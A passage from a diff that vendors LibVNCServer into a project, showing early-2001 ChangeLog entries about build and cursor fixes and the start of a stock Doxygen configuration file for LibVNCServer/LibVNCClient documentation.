* Makefile: libvncserver.a is not deleted by make clean + +2001-09-28 dscho + + * example.c: unnecessary include + +2001-09-28 dscho + + * Makefile, example.c, rfb.h: now compiles on FreeBSD + +2001-09-28 dscho + + * Makefile: make clean now cleans mac.o pnmshow.o and example.o + +2001-09-27 dscho + + * README, cursor.c, main.c, rfb.h, rfbserver.c: added + setTranslateFunction as member of rfbScreenInfo, cursor may be NULL + (no cursor). + +2001-09-27 dscho + + * Makefile, mac.c, rfb.h: try to make OSXvnc run again. + +2001-09-27 dscho + + * README, TODO, example.c, main.c, rfb.h: docu and cursors in + examples. + +2001-09-26 dscho + + * Makefile, README, TODO, example.c, httpd.c, main.c, pnmshow.c, + rfb.h: API corrections + +2001-09-26 dscho + + * TODO, main.c, pnmshow.c: adapted pnmshow to aligned width + +2001-09-25 dscho + + * example.c, tabletranstemplate.c: look for align bug with odd + width. Bug in vncviewer? + +2001-09-25 dscho + + * d3des.c, d3des.h, libvncauth/Imakefile, libvncauth/Makefile, + libvncauth/d3des.c, libvncauth/d3des.h, libvncauth/vncauth.c, + libvncauth/vncauth.h, vncauth.c: permanently moved authorization + +2001-09-25 dscho + + * Makefile, rfb.h, storepasswd.c: moved vncauth to libvncserver + +2001-09-25 dscho + + * .depend: rmoved unneccessary files + +2001-09-25 dscho + + * Makefile, TODO, cursor.c, example.c, keysym.h, main.c, pnmshow.c, + region.h, rfb.h, rfbserver.c: fix cursor bug; missing keysym; fix + align problem on SGI; clean up cursor.c clean up rfb.h a bit; endian + issues + +2001-09-24 dscho + + * region.h: forgot file + +2001-09-24 dscho + + * Makefile, TODO, cursor.c, example.c, include/Xserver/os.h, + main.c, miregion.c, pnmshow.c, rfb.h, rfbserver.c, sockets.c, + xalloc.c: bugfix: cursor (works now without xcursor encoding) + +2001-09-24 dscho + + * cursor.c, example.c, main.c, rfb.h, rfbserver.c: cursor changes + +2001-09-23 dscho + + * Makefile, README, TODO, cursor.c, example.c, httpd.c, main.c, + rfb.h, rfbserver.c, sockets.c, zlib.c: cleaned up warnings, cursor + changes + +2001-09-21 dscho + + * Makefile, classes/index.vnc, cursor.c, example.c, httpd.c, + main.c, rfb.h: http added, prepare for cursor + +2001-09-20 dscho + + * README: changed README at last + +2001-09-13 dscho + + * Makefile, bdf2c.pl, example.c, radon.h: Now you can write + something in addition to mouse movements ... + +2001-08-14 dscho + + * Makefile, example.c, main.c, pnmshow.c: comments & new example: + pnmshow + +2001-08-14 dscho + + * example.c, main.c, rfb.h: now lines are drawn for the example, + first steps to make clients independent. + +2001-08-14 dscho + + * Makefile, example.c, main.c, rfb.h, rfbserver.c: hooks inserted + +2001-08-01 dscho + + * Initial revision + diff --git a/3rdparty/libvncserver/Doxyfile b/3rdparty/libvncserver/Doxyfile new file mode 100644 index 0000000..c255d51 --- /dev/null +++ b/3rdparty/libvncserver/Doxyfile @@ -0,0 +1,1674 @@ +# Doxyfile 1.7.1 + +# This file describes the settings to be used by the documentation system +# doxygen (www.doxygen.org) for a project +# +# All text after a hash (#) is considered a comment and will be ignored +# The format is: +# TAG = value [value, ...] +# For lists items can also be appended using: +# TAG += value [value, ...] +# Values that contain spaces should be placed between quotes (" ") + +#--------------------------------------------------------------------------- +# Project related configuration options +#--------------------------------------------------------------------------- + +# This tag specifies the encoding used for all characters in the config file +# that follow. The default is UTF-8 which is also the encoding used for all +# text before the first occurrence of this tag. Doxygen uses libiconv (or the +# iconv built into libc) for the transcoding. See +# http://www.gnu.org/software/libiconv for the list of possible encodings. + +DOXYFILE_ENCODING = UTF-8 + +# The PROJECT_NAME tag is a single word (or a sequence of words surrounded +# by quotes) that should identify the project. + +PROJECT_NAME = LibVNCServer/LibVNCClient + +# The PROJECT_NUMBER tag can be used to enter a project or revision number. +# This could be handy for archiving the generated documentation or +# if some version control system is used. + +PROJECT_NUMBER = + +# The OUTPUT_DIRECTORY tag is used to specify the (relative or absolute) +# base path where the generated documentation will be put. +# If a relative path is entered, it will be relative to the location +# where doxygen was started. If left blank the current directory will be used. + +OUTPUT_DIRECTORY = doc + +# If the CREATE_SUBDIRS tag is set to YES, then doxygen will create +# 4096 sub-directories (in 2 levels) under the output directory of each output +# format and will distribute the generated files over these directories. +# Enabling this option can be useful when feeding doxygen a huge amount of +# source files, where putting all generated files in the same directory would +# otherwise cause performance problems for the file system. + +CREATE_SUBDIRS = NO + +# The OUTPUT_LANGUAGE tag is used to specify the language in which all +# documentation generated by doxygen is written. Doxygen will use this +# information to generate all constant output in the proper language. +# The default language is English, other supported languages are: +# Afrikaans, Arabic, Brazilian, Catalan, Chinese, Chinese-Traditional, +# Croatian, Czech, Danish, Dutch, Esperanto, Farsi, Finnish, French, German, +# Greek, Hungarian, Italian, Japanese, Japanese-en (Japanese with English +# messages), Korean, Korean-en, Lithuanian, Norwegian, Macedonian, Persian, +# Polish, Portuguese, Romanian, Russian, Serbian, Serbian-Cyrilic, Slovak, +# Slovene, Spanish, Swedish, Ukrainian, and Vietnamese. + +OUTPUT_LANGUAGE = English + +# If the BRIEF_MEMBER_DESC tag is set to YES (the default) Doxygen will +# include brief member descriptions after the members that are listed in +# the file and class documentation (similar to JavaDoc). +# Set to NO to disable this. + +BRIEF_MEMBER_DESC = YES + +# If the REPEAT_BRIEF tag is set to YES (the default) Doxygen will prepend +# the brief description of a member or function before the detailed description. +# Note: if both HIDE_UNDOC_MEMBERS and BRIEF_MEMBER_DESC are set to NO, the +# brief descriptions will be completely suppressed. + +REPEAT_BRIEF = YES + +# This tag implements a quasi-intelligent brief description abbreviator +# that is used to form the text in various listings. Each string +# in this list, if found as the leading text of the brief description, will be +# stripped from the text and the result after processing the whole list, is +# used as the annotated text. Otherwise, the brief description is used as-is. +# If left blank, the following values are used ("$name" is automatically +# replaced with the name of the entity): "The $name class" "The $name widget" +# "The $name file" "is" "provides" "specifies" "contains" +# "represents" "a" "an" "the" + +ABBREVIATE_BRIEF = "The $name class" \ + "The $name widget" \ + "The $name file" \ + is \ + provides \ + specifies \ + contains \ + represents \ + a \ + an \ + the + +# If the ALWAYS_DETAILED_SEC and REPEAT_BRIEF tags are both set to YES then +# Doxygen will generate a detailed section even if there is only a brief +# description. + +ALWAYS_DETAILED_SEC = NO + +# If the INLINE_INHERITED_MEMB tag is set to YES, doxygen will show all +# inherited members of a class in the documentation of that class as if those +# members were ordinary class members. Constructors, destructors and assignment +# operators of the base classes will not be shown. + +INLINE_INHERITED_MEMB = NO + +# If the FULL_PATH_NAMES tag is set to YES then Doxygen will prepend the full +# path before files name in the file list and in the header files. If set +# to NO the shortest path that makes the file name unique will be used. + +FULL_PATH_NAMES = YES + +# If the FULL_PATH_NAMES tag is set to YES then the STRIP_FROM_PATH tag +# can be used to strip a user-defined part of the path. Stripping is +# only done if one of the specified strings matches the left-hand part of +# the path. The tag can be used to show relative paths in the file list. +# If left blank the directory from which doxygen is run is used as the +# path to strip. + +STRIP_FROM_PATH = + +# The STRIP_FROM_INC_PATH tag can be used to strip a user-defined part of +# the path mentioned in the documentation of a class, which tells +# the reader which header file to include in order to use a class. +# If left blank only the name of the header file containing the class +# definition is used. Otherwise one should specify the include paths that +# are normally passed to the compiler using the -I flag. + +STRIP_FROM_INC_PATH = + +# If the SHORT_NAMES tag is set to YES, doxygen will generate much shorter +# (but less readable) file names. This can be useful is your file systems +# doesn't support long names like on DOS, Mac, or CD-ROM. + +SHORT_NAMES = NO + +# If the JAVADOC_AUTOBRIEF tag is set to YES then Doxygen +# will interpret the first line (until the first dot) of a JavaDoc-style +# comment as the brief description. If set to NO, the JavaDoc +# comments will behave just like regular Qt-style comments +# (thus requiring an explicit @brief command for a brief description.) + +JAVADOC_AUTOBRIEF = YES + +# If the QT_AUTOBRIEF tag is set to YES then Doxygen will +# interpret the first line (until the first dot) of a Qt-style +# comment as the brief description. If set to NO, the comments +# will behave just like regular Qt-style comments (thus requiring +# an explicit \brief command for a brief description.) + +QT_AUTOBRIEF = NO + +# The MULTILINE_CPP_IS_BRIEF tag can be set to YES to make Doxygen +# treat a multi-line C++ special comment block (i.e. a block of //! or /// +# comments) as a brief description. This used to be the default behaviour. +# The new default is to treat a multi-line C++ comment block as a detailed +# description. Set this tag to YES if you prefer the old behaviour instead. + +MULTILINE_CPP_IS_BRIEF = NO + +# If the INHERIT_DOCS tag is set to YES (the default) then an undocumented +# member inherits the documentation from any documented member that it +# re-implements. + +INHERIT_DOCS = YES + +# If the SEPARATE_MEMBER_PAGES tag is set to YES, then doxygen will produce +# a new page for each member. If set to NO, the documentation of a member will +# be part of the file/class/namespace that contains it. + +SEPARATE_MEMBER_PAGES = NO + +# The TAB_SIZE tag can be used to set the number of spaces in a tab. +# Doxygen uses this value to replace tabs by spaces in code fragments. + +TAB_SIZE = 8 + +# This tag can be used to specify a number of aliases that acts +# as commands in the documentation. An alias has the form "name=value". +# For example adding "sideeffect=\par Side Effects:\n" will allow you to +# put the command \sideeffect (or @sideeffect) in the documentation, which +# will result in a user-defined paragraph with heading "Side Effects:". +# You can put \n's in the value part of an alias to insert newlines. + +ALIASES = + +# Set the OPTIMIZE_OUTPUT_FOR_C tag to YES if your project consists of C +# sources only. Doxygen will then generate output that is more tailored for C. +# For instance, some of the names that are used will be different. The list +# of all members will be omitted, etc. + +OPTIMIZE_OUTPUT_FOR_C = YES + +# Set the OPTIMIZE_OUTPUT_JAVA tag to YES if your project consists of Java +# sources only. Doxygen will then generate output that is more tailored for +# Java. For instance, namespaces will be presented as packages, qualified +# scopes will look different, etc. + +OPTIMIZE_OUTPUT_JAVA = NO + +# Set the OPTIMIZE_FOR_FORTRAN tag to YES if your project consists of Fortran +# sources only. Doxygen will then generate output that is more tailored for +# Fortran. + +OPTIMIZE_FOR_FORTRAN = NO + +# Set the OPTIMIZE_OUTPUT_VHDL tag to YES if your project consists of VHDL +# sources. Doxygen will then generate output that is tailored for +# VHDL. + +OPTIMIZE_OUTPUT_VHDL = NO + +# Doxygen selects the parser to use depending on the extension of the files it +# parses. With this tag you can assign which parser to use for a given extension. +# Doxygen has a built-in mapping, but you can override or extend it using this +# tag. The format is ext=language, where ext is a file extension, and language +# is one of the parsers supported by doxygen: IDL, Java, Javascript, CSharp, C, +# C++, D, PHP, Objective-C, Python, Fortran, VHDL, C, C++. For instance to make +# doxygen treat .inc files as Fortran files (default is PHP), and .f files as C +# (default is Fortran), use: inc=Fortran f=C. Note that for custom extensions +# you also need to set FILE_PATTERNS otherwise the files are not read by doxygen. + +EXTENSION_MAPPING = + +# If you use STL classes (i.e. std::string, std::vector, etc.) but do not want +# to include (a tag file for) the STL sources as input, then you should +# set this tag to YES in order to let doxygen match functions declarations and +# definitions whose arguments contain STL classes (e.g. func(std::string); v.s. +# func(std::string) {}). This also make the inheritance and collaboration +# diagrams that involve STL classes more complete and accurate. + +BUILTIN_STL_SUPPORT = NO + +# If you use Microsoft's C++/CLI language, you should set this option to YES to +# enable parsing support. + +CPP_CLI_SUPPORT = NO + +# Set the SIP_SUPPORT tag to YES if your project consists of sip sources only. +# Doxygen will parse them like normal C++ but will assume all classes use public +# instead of private inheritance when no explicit protection keyword is present. + +SIP_SUPPORT = NO + +# For Microsoft's IDL there are propget and propput attributes to indicate getter +# and setter methods for a property. Setting this option to YES (the default) +# will make doxygen to replace the get and set methods by a property in the +# documentation. This will only work if the methods are indeed getting or +# setting a simple type. If this is not the case, or you want to show the +# methods anyway, you should set this option to NO. + +IDL_PROPERTY_SUPPORT = YES + +# If member grouping is used in the documentation and the DISTRIBUTE_GROUP_DOC +# tag is set to YES, then doxygen will reuse the documentation of the first +# member in the group (if any) for the other members of the group. By default +# all members of a group must be documented explicitly. + +DISTRIBUTE_GROUP_DOC = NO + +# Set the SUBGROUPING tag to YES (the default) to allow class member groups of +# the same type (for instance a group of public functions) to be put as a +# subgroup of that type (e.g. under the Public Functions section). Set it to +# NO to prevent subgrouping. Alternatively, this can be done per class using +# the \nosubgrouping command. + +SUBGROUPING = YES + +# When TYPEDEF_HIDES_STRUCT is enabled, a typedef of a struct, union, or enum +# is documented as struct, union, or enum with the name of the typedef. So +# typedef struct TypeS {} TypeT, will appear in the documentation as a struct +# with name TypeT. When disabled the typedef will appear as a member of a file, +# namespace, or class. And the struct will be named TypeS. This can typically +# be useful for C code in case the coding convention dictates that all compound +# types are typedef'ed and only the typedef is referenced, never the tag name. + +TYPEDEF_HIDES_STRUCT = YES + +# The SYMBOL_CACHE_SIZE determines the size of the internal cache use to +# determine which symbols to keep in memory and which to flush to disk. +# When the cache is full, less often used symbols will be written to disk. +# For small to medium size projects (<1000 input files) the default value is +# probably good enough. For larger projects a too small cache size can cause +# doxygen to be busy swapping symbols to and from disk most of the time +# causing a significant performance penality. +# If the system has enough physical memory increasing the cache will improve the +# performance by keeping more symbols in memory. Note that the value works on +# a logarithmic scale so increasing the size by one will roughly double the +# memory usage. The cache size is given by this formula: +# 2^(16+SYMBOL_CACHE_SIZE). The valid range is 0..9, the default is 0, +# corresponding to a cache size of 2^16 = 65536 symbols + +SYMBOL_CACHE_SIZE = 0 + +#--------------------------------------------------------------------------- +# Build related configuration options +#--------------------------------------------------------------------------- + +# If the EXTRACT_ALL tag is set to YES doxygen will assume all entities in +# documentation are documented, even if no documentation was available. +# Private class members and static file members will be hidden unless +# the EXTRACT_PRIVATE and EXTRACT_STATIC tags are set to YES + +EXTRACT_ALL = YES + +# If the EXTRACT_PRIVATE tag is set to YES all private members of a class +# will be included in the documentation. + +EXTRACT_PRIVATE = NO + +# If the EXTRACT_STATIC tag is set to YES all static members of a file +# will be included in the documentation. + +EXTRACT_STATIC = NO + +# If the EXTRACT_LOCAL_CLASSES tag is set to YES classes (and structs) +# defined locally in source files will be included in the documentation. +# If set to NO only classes defined in header files are included. + +EXTRACT_LOCAL_CLASSES = YES + +# This flag is only useful for Objective-C code. When set to YES local +# methods, which are defined in the implementation section but not in +# the interface are included in the documentation. +# If set to NO (the default) only methods in the interface are included. + +EXTRACT_LOCAL_METHODS = NO + +# If this flag is set to YES, the members of anonymous namespaces will be +# extracted and appear in the documentation as a namespace called +# 'anonymous_namespace{file}', where file will be replaced with the base +# name of the file that contains the anonymous namespace. By default +# anonymous namespace are hidden. + +EXTRACT_ANON_NSPACES = NO + +# If the HIDE_UNDOC_MEMBERS tag is set to YES, Doxygen will hide all +# undocumented members of documented classes, files or namespaces. +# If set to NO (the default) these members will be included in the +# various overviews, but no documentation section is generated. +# This option has no effect if EXTRACT_ALL is enabled. + +HIDE_UNDOC_MEMBERS = NO + +# If the HIDE_UNDOC_CLASSES tag is set to YES, Doxygen will hide all +# undocumented classes that are normally visible in the class hierarchy. +# If set to NO (the default) these classes will be included in the various +# overviews. This option has no effect if EXTRACT_ALL is enabled. + +HIDE_UNDOC_CLASSES = NO + +# If the HIDE_FRIEND_COMPOUNDS tag is set to YES, Doxygen will hide all +# friend (class|struct|union) declarations. +# If set to NO (the default) these declarations will be included in the +# documentation. + +HIDE_FRIEND_COMPOUNDS = NO + +# If the HIDE_IN_BODY_DOCS tag is set to YES, Doxygen will hide any +# documentation blocks found inside the body of a function. +# If set to NO (the default) these blocks will be appended to the +# function's detailed documentation block. + +HIDE_IN_BODY_DOCS = NO + +# The INTERNAL_DOCS tag determines if documentation +# that is typed after a \internal command is included. If the tag is set +# to NO (the default) then the documentation will be excluded. +# Set it to YES to include the internal documentation. + +INTERNAL_DOCS = NO + +# If the CASE_SENSE_NAMES tag is set to NO then Doxygen will only generate +# file names in lower-case letters. If set to YES upper-case letters are also +# allowed. This is useful if you have classes or files whose names only differ +# in case and if your file system supports case sensitive file names. Windows +# and Mac users are advised to set this option to NO. + +CASE_SENSE_NAMES = NO + +# If the HIDE_SCOPE_NAMES tag is set to NO (the default) then Doxygen +# will show members with their full class and namespace scopes in the +# documentation. If set to YES the scope will be hidden. + +HIDE_SCOPE_NAMES = YES + +# If the SHOW_INCLUDE_FILES tag is set to YES (the default) then Doxygen +# will put a list of the files that are included by a file in the documentation +# of that file. + +SHOW_INCLUDE_FILES = YES + +# If the FORCE_LOCAL_INCLUDES tag is set to YES then Doxygen +# will list include files with double quotes in the documentation +# rather than with sharp brackets. + +FORCE_LOCAL_INCLUDES = NO + +# If the INLINE_INFO tag is set to YES (the default) then a tag [inline] +# is inserted in the documentation for inline members. + +INLINE_INFO = YES + +# If the SORT_MEMBER_DOCS tag is set to YES (the default) then doxygen +# will sort the (detailed) documentation of file and class members +# alphabetically by member name. If set to NO the members will appear in +# declaration order. + +SORT_MEMBER_DOCS = YES + +# If the SORT_BRIEF_DOCS tag is set to YES then doxygen will sort the +# brief documentation of file, namespace and class members alphabetically +# by member name. If set to NO (the default) the members will appear in +# declaration order. + +SORT_BRIEF_DOCS = NO + +# If the SORT_MEMBERS_CTORS_1ST tag is set to YES then doxygen +# will sort the (brief and detailed) documentation of class members so that +# constructors and destructors are listed first. If set to NO (the default) +# the constructors will appear in the respective orders defined by +# SORT_MEMBER_DOCS and SORT_BRIEF_DOCS. +# This tag will be ignored for brief docs if SORT_BRIEF_DOCS is set to NO +# and ignored for detailed docs if SORT_MEMBER_DOCS is set to NO. + +SORT_MEMBERS_CTORS_1ST = NO + +# If the SORT_GROUP_NAMES tag is set to YES then doxygen will sort the +# hierarchy of group names into alphabetical order. If set to NO (the default) +# the group names will appear in their defined order. + +SORT_GROUP_NAMES = NO + +# If the SORT_BY_SCOPE_NAME tag is set to YES, the class list will be +# sorted by fully-qualified names, including namespaces. If set to +# NO (the default), the class list will be sorted only by class name, +# not including the namespace part. +# Note: This option is not very useful if HIDE_SCOPE_NAMES is set to YES. +# Note: This option applies only to the class list, not to the +# alphabetical list. + +SORT_BY_SCOPE_NAME = NO + +# The GENERATE_TODOLIST tag can be used to enable (YES) or +# disable (NO) the todo list. This list is created by putting \todo +# commands in the documentation. + +GENERATE_TODOLIST = YES + +# The GENERATE_TESTLIST tag can be used to enable (YES) or +# disable (NO) the test list. This list is created by putting \test +# commands in the documentation. + +GENERATE_TESTLIST = YES + +# The GENERATE_BUGLIST tag can be used to enable (YES) or +# disable (NO) the bug list. This list is created by putting \bug +# commands in the documentation. + +GENERATE_BUGLIST = YES + +# The GENERATE_DEPRECATEDLIST tag can be used to enable (YES) or +# disable (NO) the deprecated list. This list is created by putting +# \deprecated commands in the documentation. + +GENERATE_DEPRECATEDLIST= YES + +# The ENABLED_SECTIONS tag can be used to enable conditional +# documentation sections, marked by \if sectionname ... \endif. + +ENABLED_SECTIONS = + +# The MAX_INITIALIZER_LINES tag determines the maximum number of lines +# the initial value of a variable or define consists of for it to appear in +# the documentation. If the initializer consists of more lines than specified +# here it will be hidden. Use a value of 0 to hide initializers completely. +# The appearance of the initializer of individual variables and defines in the +# documentation can be controlled using \showinitializer or \hideinitializer +# command in the documentation regardless of this setting. + +MAX_INITIALIZER_LINES = 30 + +# Set the SHOW_USED_FILES tag to NO to disable the list of files generated +# at the bottom of the documentation of classes and structs. If set to YES the +# list will mention the files that were used to generate the documentation. + +SHOW_USED_FILES = YES + +# If the sources in your project are distributed over multiple directories +# then setting the SHOW_DIRECTORIES tag to YES will show the directory hierarchy +# in the documentation. The default is NO. + +SHOW_DIRECTORIES = NO + +# Set the SHOW_FILES tag to NO to disable the generation of the Files page. +# This will remove the Files entry from the Quick Index and from the +# Folder Tree View (if specified). The default is YES. + +SHOW_FILES = YES + +# Set the SHOW_NAMESPACES tag to NO to disable the generation of the +# Namespaces page. This will remove the Namespaces entry from the Quick Index +# and from the Folder Tree View (if specified). The default is YES. + +SHOW_NAMESPACES = YES + +# The FILE_VERSION_FILTER tag can be used to specify a program or script that +# doxygen should invoke to get the current version for each file (typically from +# the version control system). Doxygen will invoke the program by executing (via +# popen()) the command , where is the value of +# the FILE_VERSION_FILTER tag, and is the name of an input file +# provided by doxygen. Whatever the program writes to standard output +# is used as the file version. See the manual for examples. + +FILE_VERSION_FILTER = + +# The LAYOUT_FILE tag can be used to specify a layout file which will be parsed +# by doxygen. The layout file controls the global structure of the generated +# output files in an output format independent way. The create the layout file +# that represents doxygen's defaults, run doxygen with the -l option. +# You can optionally specify a file name after the option, if omitted +# DoxygenLayout.xml will be used as the name of the layout file. + +LAYOUT_FILE = + +#--------------------------------------------------------------------------- +# configuration options related to warning and progress messages +#--------------------------------------------------------------------------- + +# The QUIET tag can be used to turn on/off the messages that are generated +# by doxygen. Possible values are YES and NO. If left blank NO is used. + +QUIET = NO + +# The WARNINGS tag can be used to turn on/off the warning messages that are +# generated by doxygen. Possible values are YES and NO. If left blank +# NO is used. + +WARNINGS = YES + +# If WARN_IF_UNDOCUMENTED is set to YES, then doxygen will generate warnings +# for undocumented members. If EXTRACT_ALL is set to YES then this flag will +# automatically be disabled. + +WARN_IF_UNDOCUMENTED = YES + +# If WARN_IF_DOC_ERROR is set to YES, doxygen will generate warnings for +# potential errors in the documentation, such as not documenting some +# parameters in a documented function, or documenting parameters that +# don't exist or using markup commands wrongly. + +WARN_IF_DOC_ERROR = YES + +# This WARN_NO_PARAMDOC option can be abled to get warnings for +# functions that are documented, but have no documentation for their parameters +# or return value. If set to NO (the default) doxygen will only warn about +# wrong or incomplete parameter documentation, but not about the absence of +# documentation. + +WARN_NO_PARAMDOC = NO + +# The WARN_FORMAT tag determines the format of the warning messages that +# doxygen can produce. The string should contain the $file, $line, and $text +# tags, which will be replaced by the file and line number from which the +# warning originated and the warning text. Optionally the format may contain +# $version, which will be replaced by the version of the file (if it could +# be obtained via FILE_VERSION_FILTER) + +WARN_FORMAT = "$file:$line: $text" + +# The WARN_LOGFILE tag can be used to specify a file to which warning +# and error messages should be written. If left blank the output is written +# to stderr. + +WARN_LOGFILE = + +#--------------------------------------------------------------------------- +# configuration options related to the input files +#--------------------------------------------------------------------------- + +# The INPUT tag can be used to specify the files and/or directories that contain +# documented source files. You may enter file names like "myfile.cpp" or +# directories like "/usr/src/myproject". Separate the files or directories +# with spaces. + +INPUT = rfb \ + libvncclient \ + libvncserver \ + client_examples/SDLvncviewer.c \ + client_examples/ppmtest.c \ + client_examples/vnc2mpg.c \ + examples/camera.c \ + examples/example.c \ + examples/filetransfer.c \ + examples/pnmshow.c \ + examples/pnmshow24.c \ + examples/vncev.c + +# This tag can be used to specify the character encoding of the source files +# that doxygen parses. Internally doxygen uses the UTF-8 encoding, which is +# also the default input encoding. Doxygen uses libiconv (or the iconv built +# into libc) for the transcoding. See http://www.gnu.org/software/libiconv for +# the list of possible encodings. + +INPUT_ENCODING = UTF-8 + +# If the value of the INPUT tag contains directories, you can use the +# FILE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp +# and *.h) to filter out the source-files in the directories. If left +# blank the following patterns are tested: +# *.c *.cc *.cxx *.cpp *.c++ *.java *.ii *.ixx *.ipp *.i++ *.inl *.h *.hh *.hxx +# *.hpp *.h++ *.idl *.odl *.cs *.php *.php3 *.inc *.m *.mm *.py *.f90 + +FILE_PATTERNS = *.c \ + *.cc \ + *.cxx \ + *.cpp \ + *.c++ \ + *.d \ + *.java \ + *.ii \ + *.ixx \ + *.ipp \ + *.i++ \ + *.inl \ + *.h \ + *.hh \ + *.hxx \ + *.hpp \ + *.h++ \ + *.idl \ + *.odl \ + *.cs \ + *.php \ + *.php3 \ + *.inc \ + *.m \ + *.mm \ + *.dox \ + *.py \ + *.f90 \ + *.f \ + *.vhd \ + *.vhdl + +# The RECURSIVE tag can be used to turn specify whether or not subdirectories +# should be searched for input files as well. Possible values are YES and NO. +# If left blank NO is used. + +RECURSIVE = YES + +# The EXCLUDE tag can be used to specify files and/or directories that should +# excluded from the INPUT source files. This way you can easily exclude a +# subdirectory from a directory tree whose root is specified with the INPUT tag. + +EXCLUDE = rfb/rfbconfig.h \ + rfb/default8x16.h + +# The EXCLUDE_SYMLINKS tag can be used select whether or not files or +# directories that are symbolic links (a Unix filesystem feature) are excluded +# from the input. + +EXCLUDE_SYMLINKS = NO + +# If the value of the INPUT tag contains directories, you can use the +# EXCLUDE_PATTERNS tag to specify one or more wildcard patterns to exclude +# certain files from those directories. Note that the wildcards are matched +# against the file with absolute path, so to exclude all test directories +# for example use the pattern */test/* + +EXCLUDE_PATTERNS = + +# The EXCLUDE_SYMBOLS tag can be used to specify one or more symbol names +# (namespaces, classes, functions, etc.) that should be excluded from the +# output. The symbol name can be a fully qualified name, a word, or if the +# wildcard * is used, a substring. Examples: ANamespace, AClass, +# AClass::ANamespace, ANamespace::*Test + +EXCLUDE_SYMBOLS = + +# The EXAMPLE_PATH tag can be used to specify one or more files or +# directories that contain example code fragments that are included (see +# the \include command). + +EXAMPLE_PATH = client_examples \ + examples + +# If the value of the EXAMPLE_PATH tag contains directories, you can use the +# EXAMPLE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp +# and *.h) to filter out the source-files in the directories. If left +# blank all files are included. + +EXAMPLE_PATTERNS = * + +# If the EXAMPLE_RECURSIVE tag is set to YES then subdirectories will be +# searched for input files to be used with the \include or \dontinclude +# commands irrespective of the value of the RECURSIVE tag. +# Possible values are YES and NO. If left blank NO is used. + +EXAMPLE_RECURSIVE = NO + +# The IMAGE_PATH tag can be used to specify one or more files or +# directories that contain image that are included in the documentation (see +# the \image command). + +IMAGE_PATH = + +# The INPUT_FILTER tag can be used to specify a program that doxygen should +# invoke to filter for each input file. Doxygen will invoke the filter program +# by executing (via popen()) the command , where +# is the value of the INPUT_FILTER tag, and is the name of an +# input file. Doxygen will then use the output that the filter program writes +# to standard output. If FILTER_PATTERNS is specified, this tag will be +# ignored. + +INPUT_FILTER = + +# The FILTER_PATTERNS tag can be used to specify filters on a per file pattern +# basis. Doxygen will compare the file name with each pattern and apply the +# filter if there is a match. The filters are a list of the form: +# pattern=filter (like *.cpp=my_cpp_filter). See INPUT_FILTER for further +# info on how filters are used. If FILTER_PATTERNS is empty, INPUT_FILTER +# is applied to all files. + +FILTER_PATTERNS = + +# If the FILTER_SOURCE_FILES tag is set to YES, the input filter (if set using +# INPUT_FILTER) will be used to filter the input files when producing source +# files to browse (i.e. when SOURCE_BROWSER is set to YES). + +FILTER_SOURCE_FILES = NO + +#--------------------------------------------------------------------------- +# configuration options related to source browsing +#--------------------------------------------------------------------------- + +# If the SOURCE_BROWSER tag is set to YES then a list of source files will +# be generated. Documented entities will be cross-referenced with these sources. +# Note: To get rid of all source code in the generated output, make sure also +# VERBATIM_HEADERS is set to NO. + +SOURCE_BROWSER = YES + +# Setting the INLINE_SOURCES tag to YES will include the body +# of functions and classes directly in the documentation. + +INLINE_SOURCES = NO + +# Setting the STRIP_CODE_COMMENTS tag to YES (the default) will instruct +# doxygen to hide any special comment blocks from generated source code +# fragments. Normal C and C++ comments will always remain visible. + +STRIP_CODE_COMMENTS = YES + +# If the REFERENCED_BY_RELATION tag is set to YES +# then for each documented function all documented +# functions referencing it will be listed. + +REFERENCED_BY_RELATION = NO + +# If the REFERENCES_RELATION tag is set to YES +# then for each documented function all documented entities +# called/used by that function will be listed. + +REFERENCES_RELATION = NO + +# If the REFERENCES_LINK_SOURCE tag is set to YES (the default) +# and SOURCE_BROWSER tag is set to YES, then the hyperlinks from +# functions in REFERENCES_RELATION and REFERENCED_BY_RELATION lists will +# link to the source code. Otherwise they will link to the documentation. + +REFERENCES_LINK_SOURCE = YES + +# If the USE_HTAGS tag is set to YES then the references to source code +# will point to the HTML generated by the htags(1) tool instead of doxygen +# built-in source browser. The htags tool is part of GNU's global source +# tagging system (see http://www.gnu.org/software/global/global.html). You +# will need version 4.8.6 or higher. + +USE_HTAGS = NO + +# If the VERBATIM_HEADERS tag is set to YES (the default) then Doxygen +# will generate a verbatim copy of the header file for each class for +# which an include is specified. Set to NO to disable this. + +VERBATIM_HEADERS = YES + +#--------------------------------------------------------------------------- +# configuration options related to the alphabetical class index +#--------------------------------------------------------------------------- + +# If the ALPHABETICAL_INDEX tag is set to YES, an alphabetical index +# of all compounds will be generated. Enable this if the project +# contains a lot of classes, structs, unions or interfaces. + +ALPHABETICAL_INDEX = YES + +# If the alphabetical index is enabled (see ALPHABETICAL_INDEX) then +# the COLS_IN_ALPHA_INDEX tag can be used to specify the number of columns +# in which this list will be split (can be a number in the range [1..20]) + +COLS_IN_ALPHA_INDEX = 5 + +# In case all classes in a project start with a common prefix, all +# classes will be put under the same header in the alphabetical index. +# The IGNORE_PREFIX tag can be used to specify one or more prefixes that +# should be ignored while generating the index headers. + +IGNORE_PREFIX = + +#--------------------------------------------------------------------------- +# configuration options related to the HTML output +#--------------------------------------------------------------------------- + +# If the GENERATE_HTML tag is set to YES (the default) Doxygen will +# generate HTML output. + +GENERATE_HTML = YES + +# The HTML_OUTPUT tag is used to specify where the HTML docs will be put. +# If a relative path is entered the value of OUTPUT_DIRECTORY will be +# put in front of it. If left blank `html' will be used as the default path. + +HTML_OUTPUT = html + +# The HTML_FILE_EXTENSION tag can be used to specify the file extension for +# each generated HTML page (for example: .htm,.php,.asp). If it is left blank +# doxygen will generate files with .html extension. + +HTML_FILE_EXTENSION = .html + +# The HTML_HEADER tag can be used to specify a personal HTML header for +# each generated HTML page. If it is left blank doxygen will generate a +# standard header. + +HTML_HEADER = + +# The HTML_FOOTER tag can be used to specify a personal HTML footer for +# each generated HTML page. If it is left blank doxygen will generate a +# standard footer. + +HTML_FOOTER = + +# The HTML_STYLESHEET tag can be used to specify a user-defined cascading +# style sheet that is used by each HTML page. It can be used to +# fine-tune the look of the HTML output. If the tag is left blank doxygen +# will generate a default style sheet. Note that doxygen will try to copy +# the style sheet file to the HTML output directory, so don't put your own +# stylesheet in the HTML output directory as well, or it will be erased! + +HTML_STYLESHEET = + +# The HTML_COLORSTYLE_HUE tag controls the color of the HTML output. +# Doxygen will adjust the colors in the stylesheet and background images +# according to this color. Hue is specified as an angle on a colorwheel, +# see 